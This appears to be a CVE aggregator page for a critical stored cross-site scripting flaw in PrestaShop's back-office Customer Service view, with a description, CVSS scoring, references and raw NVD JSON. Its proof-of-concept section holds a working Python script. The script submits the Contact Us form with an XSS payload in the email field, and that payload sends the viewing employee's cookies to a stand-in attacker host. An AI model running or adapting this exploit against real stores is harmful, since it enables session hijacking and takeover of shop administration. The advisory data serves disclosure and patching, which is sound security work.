CVE-2026-44212

Description

PrestaShop is an open source e-commerce web application. Prior to 8.2.6 and 9.1.1, there is a stored Cross-Site Scripting (XSS) vulnerability in the PrestaShop back-office Customer Service view. An unauthenticated attacker can submit the public Contact Us form with a malicious email address. The payload is stored in the database and executed when a back-office employee opens the affected customer thread, enabling session hijacking and full back-office takeover. This vulnerability is fixed in 8.2.6 and 9.1.1.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

PrestaShop < 8.2.6

PrestaShop < 9.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Contact Us form)
target_url = "http://example.com/contact-us"

# Malicious payload injected into the email field
# Payload uses an image tag with onerror to execute JS, stealing cookies
xss_payload = '"><img src=x onerror="fetch(\'http://attacker-server.com/log?c=\'+document.cookie)"><"@evil.com'

# Form data usually required by PrestaShop contact form
form_data = {
    "id_contact": "2",  # ID for Customer Service department
    "from": xss_payload, # The vulnerable field
    "message": "I need help with my order immediately.",
    "submitMessage": "Send"
}

try:
    response = requests.post(target_url, data=form_data)
    if response.status_code == 200:
        print("[+] Payload sent successfully!")
        print("[+] Wait for an admin to view the thread in the back-office.")
    else:
        print("[-] Failed to send payload.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44212
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44212
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44212/
[4] VulDB https://vuldb.com/cve/CVE-2026-44212
[5] https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-w9f3-qc75-qgx9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44212", "sourceIdentifier": "[email protected]", "published": "2026-05-14T21:16:46.540", "lastModified": "2026-05-14T21:16:46.540", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "PrestaShop is an open source e-commerce web application. Prior to 8.2.6 and 9.1.1, there is a stored Cross-Site Scripting (XSS) vulnerability in the PrestaShop back-office Customer Service view. An unauthenticated attacker can submit the public Contact Us form with a malicious email address. The payload is stored in the database and executed when a back-office employee opens the affected customer thread, enabling session hijacking and full back-office takeover. This vulnerability is fixed in 8.2.6 and 9.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-w9f3-qc75-qgx9", "source": "[email protected]"}]}}